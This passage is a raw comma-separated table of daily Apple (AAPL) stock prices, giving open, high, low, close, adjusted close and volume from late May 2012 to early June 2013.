-2012-05-24,82.26714324951172,82.35713958740234,80.17571258544922,80.76000213623047,70.26934814453125,124057500.0,AAPL -2012-05-25,80.65571594238281,80.8357162475586,79.78142547607422,80.32714080810547,69.89273071289062,82126800.0,AAPL -2012-05-29,81.55714416503906,82.0,80.7585678100586,81.75285339355469,71.13323974609375,95127200.0,AAPL -2012-05-30,81.31428527832031,82.855712890625,80.93714141845703,82.73857116699219,71.99090576171875,132357400.0,AAPL -2012-05-31,82.96286010742188,83.07142639160156,81.63714599609375,82.5328598022461,71.81190490722656,122918600.0,AAPL -2012-06-01,81.3085708618164,81.80714416503906,80.07428741455078,80.14142608642578,69.73114013671875,130246900.0,AAPL -2012-06-04,80.21428680419922,81.07142639160156,78.35713958740234,80.61285400390625,70.14132690429688,139248900.0,AAPL -2012-06-05,80.18142700195312,80.92428588867188,79.76142883300781,80.40428924560547,69.95985412597656,97053600.0,AAPL -2012-06-06,81.11000061035156,81.97856903076172,80.78571319580078,81.63714599609375,71.03258514404297,100363900.0,AAPL -2012-06-07,82.47000122070312,82.47428894042969,81.5,81.67428588867188,71.06488037109375,94941700.0,AAPL -2012-06-08,81.65714263916016,82.94000244140625,81.28571319580078,82.9028549194336,72.13384246826172,86879100.0,AAPL -2012-06-11,83.95999908447266,84.07142639160156,81.51856994628906,81.59571075439453,70.99650573730469,147816200.0,AAPL -2012-06-12,82.06571197509766,82.37428283691406,80.95714569091797,82.3085708618164,71.61674499511719,108845100.0,AAPL -2012-06-13,82.07428741455078,82.63999938964844,81.48285675048828,81.73714447021484,71.1195297241211,73395000.0,AAPL -2012-06-14,81.605712890625,81.92857360839844,81.03713989257812,81.64714050292969,71.041259765625,86393300.0,AAPL -2012-06-15,81.57142639160156,82.08856964111328,81.36428833007812,82.01856994628906,71.36443328857422,83813800.0,AAPL -2012-06-18,81.56571197509766,83.98428344726562,81.48143005371094,83.68285369873047,72.81253051757812,110103000.0,AAPL -2012-06-19,83.34285736083984,84.28571319580078,83.30000305175781,83.91571807861328,73.01514434814453,90351100.0,AAPL -2012-06-20,84.02999877929688,84.17857360839844,82.97142791748047,83.67713928222656,72.80757904052734,89735800.0,AAPL -2012-06-21,83.63428497314453,84.03142547607422,82.4914321899414,82.52428436279297,71.80447387695312,81587800.0,AAPL -2012-06-22,82.72000122070312,83.16999816894531,82.2028579711914,83.15714263916016,72.3551025390625,71117900.0,AAPL -2012-06-25,82.47142791748047,82.82857513427734,81.48143005371094,81.53857421875,70.94678497314453,76095600.0,AAPL -2012-06-26,81.61856842041016,82.06999969482422,81.0471420288086,81.71857452392578,71.10340118408203,69134100.0,AAPL -2012-06-27,82.14286041259766,82.39142608642578,81.7028579711914,82.07142639160156,71.4104232788086,50749300.0,AAPL -2012-06-28,81.66714477539062,82.0,80.80142974853516,81.29285430908203,70.73297882080078,70709100.0,AAPL -2012-06-29,82.57142639160156,83.42857360839844,82.03571319580078,83.42857360839844,72.5912857055664,105375200.0,AAPL -2012-07-02,83.5328598022461,84.78142547607422,83.37142944335938,84.64571380615234,73.65032196044922,100023000.0,AAPL -2012-07-03,84.98285675048828,85.71428680419922,84.85713958740234,85.62999725341797,74.50675201416016,60428200.0,AAPL -2012-07-05,85.7942886352539,87.76285552978516,85.6642837524414,87.13428497314453,75.81562042236328,121095800.0,AAPL -2012-07-06,86.72714233398438,86.91999816894531,85.94000244140625,86.55428314208984,75.31096649169922,104732600.0,AAPL -2012-07-09,86.47142791748047,87.69999694824219,86.30142974853516,87.69857025146484,76.3066177368164,94851400.0,AAPL -2012-07-10,88.28142547607422,88.5528564453125,86.47285461425781,86.88714599609375,75.6005859375,127989400.0,AAPL -2012-07-11,86.58856964111328,86.8085708618164,85.31714630126953,86.3471450805664,75.13072967529297,117330500.0,AAPL -2012-07-12,85.74857330322266,86.20999908447266,84.66857147216797,85.55714416503906,74.4433364868164,107010400.0,AAPL -2012-07-13,86.13571166992188,86.7414321899414,85.71428680419922,86.42428588867188,75.19786071777344,77856800.0,AAPL -2012-07-16,86.44571685791016,87.37428283691406,86.43142700195312,86.70143127441406,75.43900299072266,75315100.0,AAPL -2012-07-17,87.2557144165039,87.35713958740234,86.1642837524414,86.7057113647461,75.44273376464844,73406200.0,AAPL -2012-07-18,86.65571594238281,86.90571594238281,86.22285461425781,86.60857391357422,75.35821533203125,63175000.0,AAPL -2012-07-19,87.32571411132812,87.90714263916016,86.57142639160156,87.76000213623047,76.36006164550781,109215400.0,AAPL -2012-07-20,87.57571411132812,87.77714538574219,86.24285888671875,86.32857513427734,75.1146011352539,99367800.0,AAPL -2012-07-23,84.9142837524414,86.55714416503906,83.95857238769531,86.26142883300781,75.05614471435547,121993900.0,AAPL -2012-07-24,86.76856994628906,87.0971450805664,85.50142669677734,85.84571075439453,74.6944580078125,141283100.0,AAPL -2012-07-25,82.06571197509766,82.97142791748047,81.42857360839844,82.1385726928711,71.4688491821289,219328200.0,AAPL -2012-07-26,82.82286071777344,82.9142837524414,81.4800033569336,82.12571716308594,71.45765686035156,101658200.0,AAPL -2012-07-27,82.144287109375,83.69000244140625,81.65571594238281,83.59428405761719,72.73545837402344,100984100.0,AAPL -2012-07-30,84.41714477539062,85.63428497314453,83.97428894042969,85.00428771972656,73.96231079101562,94785600.0,AAPL -2012-07-31,86.17571258544922,87.38571166992188,86.10285949707031,87.25142669677734,75.91754913330078,115581900.0,AAPL -2012-08-01,87.98714447021484,88.05714416503906,86.14286041259766,86.68714141845703,75.42655181884766,96125400.0,AAPL -2012-08-02,86.12000274658203,87.2414321899414,85.75,86.82714080810547,75.5483627319336,83039600.0,AAPL -2012-08-03,87.66143035888672,88.2828598022461,87.36571502685547,87.95714569091797,76.53160095214844,86230200.0,AAPL -2012-08-06,88.18428802490234,89.26714324951172,87.894287109375,88.93571472167969,77.38304901123047,75525800.0,AAPL -2012-08-07,88.9671401977539,89.28571319580078,88.29142761230469,88.70143127441406,77.17919921875,72611700.0,AAPL -2012-08-08,88.48428344726562,89.12571716308594,88.15714263916016,88.55142974853516,77.04867553710938,61176500.0,AAPL -2012-08-09,88.2642822265625,88.81857299804688,88.25714111328125,88.67571258544922,77.48809814453125,55410600.0,AAPL -2012-08-10,88.38714599609375,88.82286071777344,88.38571166992188,88.81428527832031,77.60918426513672,48734700.0,AAPL -2012-08-13,89.05571746826172,90.0,89.03571319580078,90.0,78.64530181884766,69708100.0,AAPL -2012-08-14,90.26714324951172,91.2300033569336,90.02999877929688,90.2414321899414,78.85626983642578,85042300.0,AAPL -2012-08-15,90.18571472167969,90.57142639160156,89.67857360839844,90.11856842041016,78.7489013671875,64335600.0,AAPL -2012-08-16,90.17285919189453,90.96571350097656,90.07142639160156,90.90571594238281,79.43675231933594,63633500.0,AAPL -2012-08-17,91.42857360839844,92.59857177734375,91.2585678100586,92.58714294433594,80.90604400634766,110690300.0,AAPL -2012-08-20,92.85857391357422,95.02143096923828,92.84285736083984,95.02143096923828,83.033203125,153346200.0,AAPL -2012-08-21,95.83142852783203,96.41143035888672,92.90428924560547,93.72285461425781,81.89848327636719,203179900.0,AAPL -2012-08-22,93.48857116699219,95.57142639160156,92.58714294433594,95.5528564453125,83.49757385253906,141330700.0,AAPL -2012-08-23,95.1585693359375,95.69999694824219,94.44999694824219,94.66143035888672,82.71863555908203,105032200.0,AAPL -2012-08-24,94.21571350097656,95.63999938964844,93.6500015258789,94.74571228027344,82.79230499267578,109335100.0,AAPL -2012-08-27,97.14142608642578,97.26714324951172,96.22000122070312,96.52571105957031,84.34771728515625,106752100.0,AAPL -2012-08-28,96.42571258544922,96.5857162475586,95.80999755859375,96.4000015258789,84.23787689208984,66854200.0,AAPL -2012-08-29,96.46428680419922,96.80999755859375,96.0857162475586,96.20999908447266,84.07181549072266,50701700.0,AAPL -2012-08-30,95.80571746826172,95.93571472167969,94.69285583496094,94.83856964111328,82.8734359741211,75674900.0,AAPL -2012-08-31,95.32142639160156,95.5142822265625,93.89286041259766,95.03428649902344,83.04446411132812,84580300.0,AAPL -2012-09-04,95.10857391357422,96.44857025146484,94.92857360839844,96.42428588867188,84.25909423828125,91973000.0,AAPL -2012-09-05,96.51000213623047,96.62142944335938,95.65714263916016,95.74714660644531,83.66736602783203,84093800.0,AAPL -2012-09-06,96.16714477539062,96.89857482910156,95.82857513427734,96.61000061035156,84.42139434814453,97799100.0,AAPL -2012-09-07,96.86428833007812,97.49714660644531,96.53857421875,97.2057113647461,84.94194030761719,82416600.0,AAPL -2012-09-10,97.20714569091797,97.61285400390625,94.5857162475586,94.67713928222656,82.73236083984375,121999500.0,AAPL -2012-09-11,95.01571655273438,95.72856903076172,93.78571319580078,94.37000274658203,82.4639663696289,125995800.0,AAPL -2012-09-12,95.2642822265625,95.69999694824219,93.71428680419922,95.68428802490234,83.61245727539062,178058300.0,AAPL -2012-09-13,96.76714324951172,97.92857360839844,96.39571380615234,97.56857299804688,85.25900268554688,149590000.0,AAPL -2012-09-14,98.56571197509766,99.56857299804688,98.2699966430664,98.75428771972656,86.29512786865234,150118500.0,AAPL -2012-09-17,99.90714263916016,99.97142791748047,99.2300033569336,99.96857452392578,87.35620880126953,99507800.0,AAPL -2012-09-18,99.98285675048828,100.33285522460938,99.48857116699219,100.27285766601562,87.62210845947266,93375800.0,AAPL -2012-09-19,100.03713989257812,100.56999969482422,99.93856811523438,100.30000305175781,87.64581298828125,81718700.0,AAPL -2012-09-20,99.87999725341797,100.0085678100586,99.08856964111328,99.81428527832031,87.22139739990234,84142100.0,AAPL -2012-09-21,100.34428405761719,100.72428894042969,99.9085693359375,100.01285552978516,87.3949203491211,142897300.0,AAPL -2012-09-24,98.12285614013672,99.3028564453125,97.57142639160156,98.68428802490234,86.23395538330078,159941600.0,AAPL -2012-09-25,98.32286071777344,98.96857452392578,96.14286041259766,96.22000122070312,84.08058166503906,129697400.0,AAPL -2012-09-26,95.53428649902344,96.09857177734375,94.45714569091797,95.02571105957031,83.03694915771484,144125800.0,AAPL -2012-09-27,94.89857482910156,97.4528579711914,94.3357162475586,97.33142852783203,85.05178833007812,148522500.0,AAPL -2012-09-28,96.96428680419922,97.30142974853516,95.25,95.30000305175781,83.2766342163086,133777700.0,AAPL -2012-10-01,95.87999725341797,96.67857360839844,93.78571319580078,94.19857025146484,82.31417846679688,135898700.0,AAPL -2012-10-02,94.5442886352539,95.19285583496094,92.94999694824219,94.47285461425781,82.5538558959961,156998100.0,AAPL -2012-10-03,94.9800033569336,95.9800033569336,94.66143035888672,95.92142486572266,83.81967163085938,106070300.0,AAPL -2012-10-04,95.89286041259766,96.32142639160156,95.07857513427734,95.25714111328125,83.23917388916016,92681400.0,AAPL -2012-10-05,95.02857208251953,95.14286041259766,93.04000091552734,93.22714233398438,81.46528625488281,148501500.0,AAPL -2012-10-08,92.41143035888672,92.5085678100586,90.87285614013672,91.16714477539062,79.6651840209961,159498500.0,AAPL -2012-10-09,91.2357177734375,91.49857330322266,89.07857513427734,90.8357162475586,79.37557983398438,209649300.0,AAPL -2012-10-10,91.39142608642578,92.13999938964844,91.0,91.5585708618164,80.00724792480469,127589000.0,AAPL -2012-10-11,92.35713958740234,92.45714569091797,89.72856903076172,89.72856903076172,78.40812683105469,136520300.0,AAPL -2012-10-12,89.93714141845703,90.76856994628906,89.32857513427734,89.95857238769531,78.60910034179688,115003700.0,AAPL -2012-10-15,90.3357162475586,90.73285675048828,89.12142944335938,90.68000030517578,79.2395248413086,108125500.0,AAPL -2012-10-16,90.76714324951172,92.9000015258789,90.14286041259766,92.82714080810547,81.11576080322266,137442900.0,AAPL -2012-10-17,92.69571685791016,93.2557144165039,92.0,92.08714294433594,80.46910858154297,97259400.0,AAPL -2012-10-18,91.37000274658203,91.72285461425781,90.0,90.37714385986328,78.97484588623047,119156100.0,AAPL -2012-10-19,90.1500015258789,90.25285339355469,87.08856964111328,87.12000274658203,76.12865447998047,186021500.0,AAPL -2012-10-22,87.48857116699219,90.76856994628906,87.25142669677734,90.57571411132812,79.14838409423828,136682700.0,AAPL -2012-10-23,90.14286041259766,90.55714416503906,87.38571166992188,87.62285614013672,76.56806182861328,176786400.0,AAPL -2012-10-24,88.77714538574219,89.50714111328125,87.23428344726562,88.11856842041016,77.0012435913086,139631800.0,AAPL -2012-10-25,88.57142639160156,88.85713958740234,86.50714111328125,87.07714080810547,76.0912094116211,164081400.0,AAPL -2012-10-26,87.06143188476562,87.71428680419922,84.42857360839844,86.28571319580078,75.39962005615234,254608200.0,AAPL -2012-10-31,84.98285675048828,85.9942855834961,83.95714569091797,85.04571533203125,74.31607055664062,127500800.0,AAPL -2012-11-01,85.45999908447266,86.14286041259766,84.88143157958984,85.22000122070312,74.4683837890625,90324500.0,AAPL -2012-11-02,85.12714385986328,85.27857208251953,82.10713958740234,82.4000015258789,72.00411987304688,149843400.0,AAPL -2012-11-05,83.36000061035156,83.9671401977539,82.5142822265625,83.51714324951172,72.98035430908203,132283900.0,AAPL -2012-11-06,84.31857299804688,84.39142608642578,82.87000274658203,83.2642822265625,72.75940704345703,93729300.0,AAPL -2012-11-07,81.97714233398438,82.07714080810547,79.39286041259766,79.71428680419922,69.9754409790039,198412200.0,AAPL -2012-11-08,80.08999633789062,80.31857299804688,76.47000122070312,76.82142639160156,67.43595886230469,264036500.0,AAPL -2012-11-09,77.2028579711914,79.26856994628906,76.24571228027344,78.15142822265625,68.60350036621094,232478400.0,AAPL -2012-11-12,79.1642837524414,79.21428680419922,76.94999694824219,77.5471420288086,68.07304382324219,128950500.0,AAPL -2012-11-13,76.98714447021484,78.63999938964844,76.62285614013672,77.55714416503906,68.0818099975586,133237300.0,AAPL -2012-11-14,77.92857360839844,78.20714569091797,76.5971450805664,76.6971435546875,67.32688903808594,119292600.0,AAPL -2012-11-15,76.79000091552734,77.07142639160156,74.66000366210938,75.08856964111328,65.91483306884766,197477700.0,AAPL -2012-11-16,75.02857208251953,75.71428680419922,72.25,75.38285827636719,66.17314910888672,316723400.0,AAPL -2012-11-19,77.2442855834961,81.07142639160156,77.12571716308594,80.81857299804688,70.9448013305664,205829400.0,AAPL -2012-11-20,81.70143127441406,81.70714569091797,79.22571563720703,80.12999725341797,70.3403549194336,160688500.0,AAPL -2012-11-21,80.60713958740234,81.0528564453125,79.5142822265625,80.24285888671875,70.43941497802734,93250500.0,AAPL -2012-11-23,81.02428436279297,81.71428680419922,80.37142944335938,81.64286041259766,71.66840362548828,68206600.0,AAPL -2012-11-26,82.27143096923828,84.28571319580078,81.95857238769531,84.21857452392578,73.92939758300781,157644900.0,AAPL -2012-11-27,84.22142791748047,84.34571075439453,82.87142944335938,83.54000091552734,73.333740234375,133332500.0,AAPL -2012-11-28,82.4671401977539,83.68571472167969,81.75142669677734,83.27714538574219,73.1030044555664,130216100.0,AAPL -2012-11-29,84.31714630126953,84.89286041259766,83.60713958740234,84.19428253173828,73.9080810546875,128674700.0,AAPL -2012-11-30,83.82714080810547,84.05714416503906,83.23999786376953,83.6114273071289,73.39643859863281,97829900.0,AAPL -2012-12-03,84.80714416503906,84.9414291381836,83.64286041259766,83.7414321899414,73.51056671142578,91070000.0,AAPL -2012-12-04,83.11428833007812,83.11428833007812,81.73285675048828,82.2642822265625,72.21388244628906,139267100.0,AAPL -2012-12-05,81.27285766601562,81.32142639160156,76.9671401977539,76.97000122070312,67.56639862060547,261159500.0,AAPL -2012-12-06,75.56285858154297,79.0442886352539,74.08999633789062,78.17713928222656,68.6260757446289,294303100.0,AAPL -2012-12-07,79.05714416503906,79.31428527832031,75.71428680419922,76.17857360839844,66.87166595458984,196760200.0,AAPL -2012-12-10,75.0,76.93000030517578,74.51142883300781,75.68856811523438,66.4415283203125,157621100.0,AAPL -2012-12-11,77.11000061035156,78.5085678100586,76.76714324951172,77.3414306640625,67.89246368408203,148086400.0,AAPL -2012-12-12,78.25285339355469,78.28571319580078,76.61000061035156,77.0,67.59275817871094,121786000.0,AAPL -2012-12-13,75.87857055664062,76.80571746826172,75.11428833007812,75.66999816894531,66.42520141601562,156314900.0,AAPL -2012-12-14,73.53571319580078,74.01856994628906,72.22571563720703,72.82714080810547,63.92967987060547,252394800.0,AAPL -2012-12-17,72.70428466796875,74.28571319580078,71.60428619384766,74.11856842041016,65.06333923339844,189401800.0,AAPL -2012-12-18,75.0,76.4142837524414,74.32142639160156,76.27143096923828,66.95317077636719,156421300.0,AAPL -2012-12-19,75.92428588867188,76.24285888671875,75.07142639160156,75.18714141845703,66.0013656616211,112342300.0,AAPL -2012-12-20,75.71428680419922,75.74285888671875,74.12571716308594,74.5328598022461,65.42699432373047,120422400.0,AAPL -2012-12-21,73.20999908447266,74.23857116699219,72.89142608642578,74.19000244140625,65.12604522705078,149067100.0,AAPL -2012-12-24,74.3357162475586,74.89286041259766,74.10142517089844,74.30999755859375,65.23139190673828,43938300.0,AAPL -2012-12-26,74.14286041259766,74.20857238769531,73.01714324951172,73.28571319580078,64.33222961425781,75609100.0,AAPL -2012-12-27,73.36285400390625,73.75,72.09428405761719,73.58000183105469,64.590576171875,113780100.0,AAPL -2012-12-28,72.89857482910156,73.49714660644531,72.58856964111328,72.79856872558594,63.904605865478516,88569600.0,AAPL -2012-12-31,72.93285369873047,76.4857177734375,72.71428680419922,76.02428436279297,66.7362289428711,164873100.0,AAPL -2013-01-02,79.11714172363281,79.28571319580078,77.37571716308594,78.43285369873047,68.85054779052734,140129500.0,AAPL -2013-01-03,78.26856994628906,78.52428436279297,77.28571319580078,77.44285583496094,67.98149108886719,88241300.0,AAPL -2013-01-04,76.70999908447266,76.9471435546875,75.11856842041016,75.28571319580078,66.087890625,148583400.0,AAPL -2013-01-07,74.57142639160156,75.61428833007812,73.5999984741211,74.84285736083984,65.69915771484375,121039100.0,AAPL -2013-01-08,75.60142517089844,75.98428344726562,74.46428680419922,75.0442886352539,65.8759536743164,114676800.0,AAPL -2013-01-09,74.64286041259766,75.00142669677734,73.71286010742188,73.87142944335938,64.84638977050781,101901100.0,AAPL -2013-01-10,75.50714111328125,75.53142547607422,73.64571380615234,74.78713989257812,65.65023803710938,150286500.0,AAPL -2013-01-11,74.42857360839844,75.04571533203125,74.14571380615234,74.32857513427734,65.2477035522461,87626700.0,AAPL -2013-01-14,71.81143188476562,72.5,71.21571350097656,71.67857360839844,62.921451568603516,183551900.0,AAPL -2013-01-15,71.18571472167969,71.28428649902344,69.05428314208984,69.41714477539062,60.93628692626953,219193100.0,AAPL -2013-01-16,70.66285705566406,72.77714538574219,70.35713958740234,72.29856872558594,63.46569061279297,172701200.0,AAPL -2013-01-17,72.90142822265625,72.96428680419922,71.71857452392578,71.81143188476562,63.03807830810547,113419600.0,AAPL -2013-01-18,71.2171401977539,71.74571228027344,70.9142837524414,71.42857360839844,62.701995849609375,118230700.0,AAPL -2013-01-22,72.08000183105469,72.55428314208984,70.9471435546875,72.11000061035156,63.300167083740234,115386600.0,AAPL -2013-01-23,72.68714141845703,73.56999969482422,72.11000061035156,73.43000030517578,64.45887756347656,215377400.0,AAPL -2013-01-24,65.71428680419922,66.5328598022461,64.32142639160156,64.35713958740234,56.49448013305664,365213100.0,AAPL -2013-01-25,64.52714538574219,65.17571258544922,62.14285659790039,62.84000015258789,55.16270065307617,302006600.0,AAPL -2013-01-28,62.547142028808594,64.7442855834961,62.26571273803711,64.26142883300781,56.41047286987305,196379400.0,AAPL -2013-01-29,65.5,65.74285888671875,64.58856964111328,65.4671401977539,57.4688835144043,142789500.0,AAPL -2013-01-30,65.28571319580078,66.0857162475586,64.92857360839844,65.26142883300781,57.288307189941406,104288800.0,AAPL -2013-01-31,65.2828598022461,65.6114273071289,64.99714660644531,65.06999969482422,57.12026596069336,79833600.0,AAPL -2013-02-01,65.58714294433594,65.63999938964844,64.05000305175781,64.8028564453125,56.8857536315918,134871100.0,AAPL -2013-02-04,64.84428405761719,65.13428497314453,63.14285659790039,63.18857192993164,55.46867370605469,119279300.0,AAPL -2013-02-05,63.43571472167969,65.67713928222656,63.174285888671875,65.40571594238281,57.41495132446289,143336900.0,AAPL -2013-02-06,65.20999908447266,66.64286041259766,64.65428924560547,65.3357162475586,57.353515625,148426600.0,AAPL -2013-02-07,66.17857360839844,67.14286041259766,64.87428283691406,66.8885726928711,59.05885314941406,176145200.0,AAPL -2013-02-08,67.71428680419922,68.40142822265625,66.89286041259766,67.85428619384766,59.91151809692383,158289600.0,AAPL -2013-02-11,68.07142639160156,69.27714538574219,67.60713958740234,68.56143188476562,60.5358772277832,129372600.0,AAPL -2013-02-12,68.50142669677734,68.91143035888672,66.81999969482422,66.84285736083984,59.01847457885742,152263300.0,AAPL -2013-02-13,66.7442855834961,67.66285705566406,66.17428588867188,66.71571350097656,58.90621566772461,118801900.0,AAPL -2013-02-14,66.36000061035156,67.37714385986328,66.28857421875,66.65571594238281,58.853248596191406,88818800.0,AAPL -2013-02-15,66.97856903076172,67.16571807861328,65.7028579711914,65.73714447021484,58.042205810546875,97936300.0,AAPL -2013-02-19,65.87142944335938,66.10428619384766,64.8357162475586,65.71286010742188,58.0207633972168,108945900.0,AAPL -2013-02-20,65.38428497314453,65.38428497314453,64.11428833007812,64.12142944335938,56.615623474121094,119075600.0,AAPL -2013-02-21,63.71428680419922,64.16714477539062,63.2599983215332,63.72285842895508,56.26371383666992,111795600.0,AAPL -2013-02-22,64.17857360839844,64.5142822265625,63.79999923706055,64.40142822265625,56.862831115722656,82663700.0,AAPL -2013-02-25,64.8357162475586,65.01714324951172,63.22428512573242,63.25714111328125,55.852500915527344,93144800.0,AAPL -2013-02-26,63.40285873413086,64.5057144165039,62.522857666015625,64.1385726928711,56.63075637817383,125374900.0,AAPL -2013-02-27,64.06143188476562,64.63428497314453,62.95000076293945,63.5099983215332,56.07576370239258,146837600.0,AAPL -2013-02-28,63.43571472167969,63.98143005371094,63.05714416503906,63.05714416503906,55.67592239379883,80628800.0,AAPL -2013-03-01,62.57143020629883,62.59714126586914,61.42571258544922,61.4957160949707,54.297264099121094,138112100.0,AAPL -2013-03-04,61.11428451538086,61.17142868041992,59.85714340209961,60.00714111328125,52.98292922973633,145688900.0,AAPL -2013-03-05,60.211429595947266,62.16999816894531,60.10714340209961,61.591426849365234,54.381771087646484,159608400.0,AAPL -2013-03-06,62.07285690307617,62.17856979370117,60.63285827636719,60.808570861816406,53.6905517578125,115062500.0,AAPL -2013-03-07,60.64285659790039,61.71571350097656,60.15142822265625,61.51142883300781,54.311134338378906,117118400.0,AAPL -2013-03-08,61.400001525878906,62.20428466796875,61.22999954223633,61.674285888671875,54.45492935180664,97870500.0,AAPL -2013-03-11,61.39285659790039,62.71571350097656,60.73428726196289,62.5528564453125,55.23066329956055,118559000.0,AAPL -2013-03-12,62.228572845458984,62.6971435546875,61.08142852783203,61.20428466796875,54.039939880371094,116477900.0,AAPL -2013-03-13,61.2071418762207,62.07143020629883,60.76571273803711,61.19285583496094,54.029842376708984,101387300.0,AAPL -2013-03-14,61.83285903930664,62.091426849365234,61.49285888671875,61.78571319580078,54.55331039428711,75968900.0,AAPL -2013-03-15,62.56142807006836,63.461429595947266,62.46428680419922,63.380001068115234,55.96097946166992,160990200.0,AAPL -2013-03-18,63.06428527832031,65.35142517089844,63.02857208251953,65.10285949707031,57.482177734375,151549300.0,AAPL -2013-03-19,65.64286041259766,65.85285949707031,64.07142639160156,64.92713928222656,57.32700729370117,131693800.0,AAPL -2013-03-20,65.34571075439453,65.37571716308594,64.22714233398438,64.58285522460938,57.02302932739258,77165200.0,AAPL -2013-03-21,64.31714630126953,65.42571258544922,64.30000305175781,64.67571258544922,57.10502243041992,95813900.0,AAPL -2013-03-22,64.94000244140625,66.0142822265625,64.7300033569336,65.98714447021484,58.2629508972168,98776300.0,AAPL -2013-03-25,66.38428497314453,67.13571166992188,65.96857452392578,66.22571563720703,58.47357940673828,125283900.0,AAPL -2013-03-26,66.4914321899414,66.54856872558594,65.79000091552734,65.87714385986328,58.16581726074219,73573500.0,AAPL -2013-03-27,65.20857238769531,65.25714111328125,64.38999938964844,64.58285522460938,57.02302932739258,82809300.0,AAPL -2013-03-28,64.26000213623047,64.54571533203125,63.08856964111328,63.237144470214844,55.834842681884766,110709900.0,AAPL -2013-04-01,63.128570556640625,63.38571548461914,61.105712890625,61.272857666015625,54.10049819946289,97433000.0,AAPL -2013-04-02,61.08571243286133,62.591426849365234,60.91428756713867,61.3985710144043,54.211483001708984,132379800.0,AAPL -2013-04-03,61.62428665161133,62.468570709228516,61.47285842895508,61.71285629272461,54.488990783691406,90804000.0,AAPL -2013-04-04,61.96571350097656,62.14285659790039,60.75,61.10285568237305,53.95038986206055,89611900.0,AAPL -2013-04-05,60.64285659790039,60.7071418762207,59.95428466796875,60.4571418762207,53.38026428222656,95923800.0,AAPL -2013-04-08,60.69285583496094,61.07143020629883,60.355712890625,60.887142181396484,53.75993347167969,75207300.0,AAPL -2013-04-09,60.908573150634766,61.21428680419922,60.39285659790039,60.99714279174805,53.85704803466797,76653500.0,AAPL -2013-04-10,61.157142639160156,62.43714141845703,60.85857009887695,62.24142837524414,54.9556884765625,93982000.0,AAPL -2013-04-11,61.959999084472656,62.56999969482422,61.599998474121094,62.047142028808594,54.78414535522461,82091100.0,AAPL -2013-04-12,62.021427154541016,62.021427154541016,61.2985725402832,61.400001525878906,54.21274185180664,59653300.0,AAPL -2013-04-15,61.0,61.12714385986328,59.93571472167969,59.978572845458984,52.95771026611328,79380000.0,AAPL -2013-04-16,60.22428512573242,60.94428634643555,60.08142852783203,60.89142990112305,53.76370620727539,76442800.0,AAPL -2013-04-17,60.038570404052734,60.08571243286133,56.87285614013672,57.5428581237793,50.80710983276367,236264000.0,AAPL -2013-04-18,57.855712890625,57.970001220703125,55.67714309692383,56.00714111328125,49.451168060302734,166574800.0,AAPL -2013-04-19,55.424285888671875,57.08571243286133,55.014286041259766,55.790000915527344,49.259437561035156,152318600.0,AAPL -2013-04-22,56.091426849365234,57.4571418762207,55.895713806152344,56.952857971191406,50.28617477416992,107480100.0,AAPL -2013-04-23,57.71285629272461,58.34000015258789,56.97285842895508,58.01856994628906,51.22713851928711,166059600.0,AAPL -2013-04-24,56.220001220703125,59.32143020629883,56.07143020629883,57.922855377197266,51.14262008666992,242412800.0,AAPL -2013-04-25,58.74714279174805,59.13428497314453,58.14285659790039,58.34000015258789,51.510948181152344,96209400.0,AAPL -2013-04-26,58.54428482055664,59.82428741455078,58.32143020629883,59.599998474121094,52.623451232910156,191024400.0,AAPL -2013-04-29,60.06428527832031,61.94571304321289,60.0,61.44571304321289,54.253108978271484,160081600.0,AAPL -2013-04-30,62.157142639160156,63.60714340209961,61.72428512573242,63.2542839050293,55.8499641418457,172884600.0,AAPL -2013-05-01,63.494285583496094,63.56142807006836,62.05571365356445,62.755714416503906,55.409767150878906,126727300.0,AAPL -2013-05-02,63.111427307128906,64.08428192138672,62.9471435546875,63.645713806152344,56.195594787597656,105457100.0,AAPL -2013-05-03,64.47285461425781,64.74714660644531,64.1642837524414,64.2828598022461,56.758148193359375,90325200.0,AAPL -2013-05-06,65.10142517089844,66.02857208251953,64.90142822265625,65.81571197509766,58.11157989501953,124160400.0,AAPL -2013-05-07,66.42428588867188,66.53571319580078,64.81428527832031,65.52285766601562,57.85300827026367,120938300.0,AAPL -2013-05-08,65.57714080810547,66.48143005371094,65.11571502685547,66.26285552978516,58.506385803222656,118149500.0,AAPL -2013-05-09,65.68714141845703,66.14286041259766,65.08285522460938,65.25285339355469,57.99595260620117,99621900.0,AAPL -2013-05-10,65.42428588867188,65.67285919189453,64.35428619384766,64.70999908447266,57.51347351074219,83713000.0,AAPL -2013-05-13,64.50142669677734,65.4142837524414,64.5,64.96286010742188,57.73820877075195,79237200.0,AAPL -2013-05-14,64.8357162475586,65.02857208251953,63.16428756713867,63.408573150634766,56.356773376464844,111779500.0,AAPL -2013-05-15,62.737144470214844,63.0,60.33714294433594,61.264286041259766,54.45096206665039,185403400.0,AAPL -2013-05-16,60.46285629272461,62.54999923706055,59.842857360839844,62.08285903930664,55.17850875854492,150801000.0,AAPL -2013-05-17,62.72142791748047,62.869998931884766,61.57285690307617,61.894287109375,55.01091003417969,106976100.0,AAPL -2013-05-20,61.7014274597168,63.68571472167969,61.44285583496094,63.27571487426758,56.23869323730469,112894600.0,AAPL -2013-05-21,62.592857360839844,63.63999938964844,62.02857208251953,62.808570861816406,55.82350158691406,114005500.0,AAPL -2013-05-22,63.43571472167969,64.05000305175781,62.60285568237305,63.04999923706055,56.038089752197266,110759600.0,AAPL -2013-05-23,62.27857208251953,63.737144470214844,62.255714416503906,63.16285705566406,56.13840103149414,88255300.0,AAPL -2013-05-24,62.978572845458984,63.665714263916016,62.908573150634766,63.592857360839844,56.52056121826172,69041700.0,AAPL -2013-05-28,64.27143096923828,64.44428253173828,62.978572845458984,63.06285858154297,56.04951477050781,96536300.0,AAPL -2013-05-29,62.85714340209961,63.92856979370117,62.771427154541016,63.56428527832031,56.49517059326172,82644100.0,AAPL -2013-05-30,63.66428756713867,64.92857360839844,63.501426696777344,64.51142883300781,57.33699035644531,88379900.0,AAPL -2013-05-31,64.64286041259766,65.30000305175781,64.21428680419922,64.24714660644531,57.10208511352539,96075700.0,AAPL -2013-06-03,64.38999938964844,64.62285614013672,63.211429595947266,64.3885726928711,57.22779083251953,93088100.0,AAPL -2013-06-04,64.74571228027344,64.91857147216797,63.91285705566406,64.18714141845703,57.048763275146484,73182200.0,AAPL -2013-06-05,63.66428756713867,64.3885726928711,63.387142181396484,63.58714294433594,56.51548767089844,72647400.0,AAPL -2013-06-06,63.638572692871094,63.85714340209961,62.00714111328125,62.637142181396484,55.67113494873047,104233500.0,AAPL -2013-06-07,62.35714340209961,63.31999969482422,61.82428741455078,63.11571502685547,56.09648895263672,101133900.0,AAPL 